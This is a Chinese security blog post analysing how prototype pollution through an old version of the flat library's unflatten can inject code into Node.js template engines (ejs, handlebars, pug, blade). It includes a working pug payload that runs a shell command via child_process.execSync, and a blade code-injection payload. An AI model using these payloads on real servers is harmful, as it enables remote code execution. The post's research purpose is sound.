原型链污染注入HTML模板

前言

5555学习。

环境搭建

初始化一个web项目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const express = require('express')
const bodyParser = require('body-parser')
const unflatten = require('flat').unflatten
const app = express()
app.use(bodyParser.json())

app.get("/", (req, res) => {
res.send("Hello World!")
})

app.post("/", (req, res) => {
const data = unflatten(req.body);
console.log(req.body, data, this.polluted);
res.send("OK")
})

app.listen(8080, () => {
console.log("App Running...")
})

未指定版本下载依赖,但是测试时发现unflatten没有发生原型链污染,怀疑是版本问题,调试发现合并对象时的关键过滤代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Object.keys(target).forEach(function (key) {
const split = key.split(delimiter).map(transformKey)
let key1 = getkey(split.shift())
let key2 = getkey(split[0])
let recipient = result

while (key2 !== undefined) {
if (key1 === '__proto__') {
return
}
...
}
...
}

当输入了__proto__.xxx这样的嵌套键值时,会触发过滤导致结果为undefined。

更换一下flat版本,根据官方仓库,选择了0.2.0版本的flat,此时可以触发原型链污染漏洞。

原型链污染注入模板解析引擎

ejs

修改一下测试代码,把模板引擎加进来:

1
2
3
4
5
6
7
8
app.post("/", (req, res) => {
const data = unflatten(req.body);
const template = `
<h1>Hello, <%= name %>!</h1>
`;
const html = ejs.render(template, data);
res.send(html)
})

调试一下render函数,读一下模板渲染部分的源码:

1
return handleCache(opts, template)(data);

很明显模板代码最后会被整合成一个匿名函数并执行,所以只要在里面注入字符串代码就能实现RCE。

看到匿名函数主要由两个部分组成,第一部分是编译设置中的一些数据和预置的一些函数,如:

1
2
3
4
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}

如果this.source没有数据,这些代码最后会拼接到this.source中,第二部分就是用户模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
if (opts.compileDebug) {
src = 'var __line = 1' + '\n'
+ ' , __lines = ' + JSON.stringify(this.templateText) + '\n'
+ ' , __filename = ' + sanitizedFilename + ';' + '\n'
+ 'try {' + '\n'
+ this.source
+ '} catch (e) {' + '\n'
+ ' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
+ '}' + '\n';
}
else {
src = this.source;
}

最后会整合成一个匿名函数返回:

1
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

根据调试,this中的属性似乎拼接不进去,而可以拼接进去的opts对象是由createNullProtoObjWherePossible函数创建的,看起来无法通过原型链进行污染。

或许低版本没有做那么多防护,可以利用,不多研究了。

handlebars

修改一下:

1
2
3
4
5
6
7
const data = unflatten(req.body);
const template = `
<h1>Hello, {{name}}!</h1>
`;
const c = handlebars.compile(template);
const html = c(data)
res.send(html)

调试发现分为AST解析和执行两个部分,解析出来的AST主要由2个字符串常量和一个变量一共3个部分组成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[
{
type: "ContentStatement",
original: "\n <h1>Hello, ",
value: "\n <h1>Hello, ",
loc: {...},
},
{
type: "MustacheStatement",
path: {
type: "PathExpression",
data: false,
depth: 0,
parts: [
"name",
],
original: "name",
loc: {...},
},
...
},
{
type: "ContentStatement",
original: "!</h1>\n ",
value: "!</h1>\n ",
...
},
]

然后分别根据type调用对应的字节码编写函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Program: function Program(program) {
this.options.blockParams.unshift(program.blockParams);

var body = program.body,
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]);
}

this.options.blockParams.shift();

this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;

return this;
},

比如字符串常量就交给ContentStatement函数编写成一个appendContent字节码:

1
2
3
4
5
ContentStatement: function ContentStatement(content) {
if (content.value) {
this.opcode('appendContent', content.value);
}
},

变量访问则交给了PathExpression函数整合成一个lookupOnContext字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PathExpression: function PathExpression(path) {
this.addDepth(path.depth);
this.opcode('getContext', path.depth);

var name = path.parts[0],
scoped = _ast2['default'].helpers.scopedId(path),
blockParamId = !path.depth && !scoped && this.blockParamIndex(name);

if (blockParamId) {
...
} else {
this.opcode('lookupOnContext', path.parts, path.falsy, path.strict, scoped);
}
},

没有发现哪里能注入额外的AST节点。

pug

1
2
3
4
5
6
7
app.post("/", (req, res) => {
const data = unflatten(req.body);
const template = `h1 Hello, #{name}!`;
const c = pug.compile(template);
const html = c(data)
res.send(html)
})

pug在将模板解析为AST后遍历该AST,整合成一个匿名函数执行,存在代码注入的可能:

1
2
3
4
5
var parsed = compileBody(str, {...});

var res = options.inlineRuntimeFunctions
? new Function('', parsed.body + ';return template;')()
: runtimeWrap(parsed.body);

调试发现,代码在遍历AST节点时存在注入:

1
2
3
4
5
6
7
8
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}

但是经过了stringify函数过滤,无法闭合引号,将字符串变为代码,继续往下看。

根据节点类型调用对应的处理函数,如用于处理h1标签的visitTag函数,当tag节点存在code属性时会进入visitCode函数,该code属性由原型链污染可控:

1
if (tag.code) this.visitCode(tag.code);

看到这个函数中存在两个注入点,第一个是:

1
2
3
4
5
if (code.block) {
if (!code.buffer) this.buf.push('{');
this.visit(code.block, code);
if (!code.buffer) this.buf.push('}');
}

第二个是:

1
2
3
4
5
6
7
8
9
if (code.buffer) {
var val = code.val.trim();
val = 'null == (pug_interp = ' + val + ') ? "" : pug_interp';
if (code.mustEscape !== false)
val = this.runtime('escape') + '(' + val + ')';
this.bufferExpression(val);
} else {
this.buf.push(code.val);
}

都可以将代码插入匿名函数中,可以利用:

1
{"name": "Twings", "__proto__.code": true, "__proto__.__proto__.buffer": true, "__proto__.__proto__.val": "(process.mainModule.require('child_process').execSync(`whoami`))"}

看到命令成功执行:

1
2
<h1>laptop-mu9vjouc\twings
Hello, Twings!</h1>

blade

1
2
3
4
5
6
7
8
9
app.post("/", (req, res) => {
const data = unflatten(req.body);
const template = `h1 Blade is cool`;
blade.compile(template, {}, function(err, tmpl) {
tmpl(data, function(err, html) {
res.send(html)
})
});
})

阅读模板解析源码,跟pug类似,也是先解析成AST再整合成匿名函数的方式,很多地方都加上了JSON.stringify的过滤,跟入_compileNode函数,当节点类型为tag时,存在一个没有过滤且可能可控的代码注入点:

1
2
if(varAttrs.length > 0)
this._pushOff(ns + ".r.attrs({" + varAttrs.substr(1) + "}, " + ns + ");");

varAttrs来自前面的循环块,从attrs中获取,而attrs则从节点的attributes属性中获取,找到AST构建部分的parse_tag函数,节点的attributes由parse_attributes函数获得:

1
2
3
4
5
6
7
8
var tag = {
'type': "tag",
'name': tagName == "" ? "div" : tagName,
'id': id_class.id,
'classes': id_class.classes,
'attributes': attrs == "" ? {} : attrs,
'children': []
};

观摩一下parse_attributes函数,attrs的获取如下:

1
2
3
4
5
6
7
8
9
if (result0 !== null) {
result0 = (function(offset, line, column, first_attr, next_attrs) {
var attrs = {};
attrs[first_attr.name] = first_attr.value;
for(var i in next_attrs)
attrs[next_attrs[i].name] = next_attrs[i].value;
return attrs;
})(pos0.offset, pos0.line, pos0.column, result0[3], result0[4]);
}

首先要让result0不为null,但是阅读源码后发现该条件对模板有要求,要求模板中存在左括号相关的写法,随便修改一下模板:

1
const template = `h1( Blade is )cool`;

观察attrs的获取方法,for in语法会访问原型属性,因此这一句代码会根据原型属性修改attrs:

1
attrs[next_attrs[i].name] = next_attrs[i].value;

如果构造失误导致了undefined数据,后面从attrs取出数据时就会发生错误,测试用的输入:

1
{"__proto__.code": "console.log(233)", "__proto__.__proto__.name": "Twings", "__proto__.__proto__.value": "Twings"}

此时会给varAttrs插入代码:

1
2
3
4
varAttrs += "," + JSON.stringify(i) + ":{v:" + attrs[i].code +
(attrs[i].escape ? ",e:1" : "") +
(i == "class" && attrs[i].append ?
",a:" + JSON.stringify(attrs[i].append): "") + "}";

此时的varAttrs如下:

1
",\"Twings\":{v:console.log(233)},\"code\":{v:console.log(233)},\"name\":{v:console.log(233)},\"value\":{v:console.log(233)}"

可以看到代码被注入且正常执行了。


参考

一文带你理解AST Injection


原型链污染注入HTML模板
http://yoursite.com/2023/07/04/原型链污染注入HTML模板/
作者
Aluvion
发布于
2023年7月4日
许可协议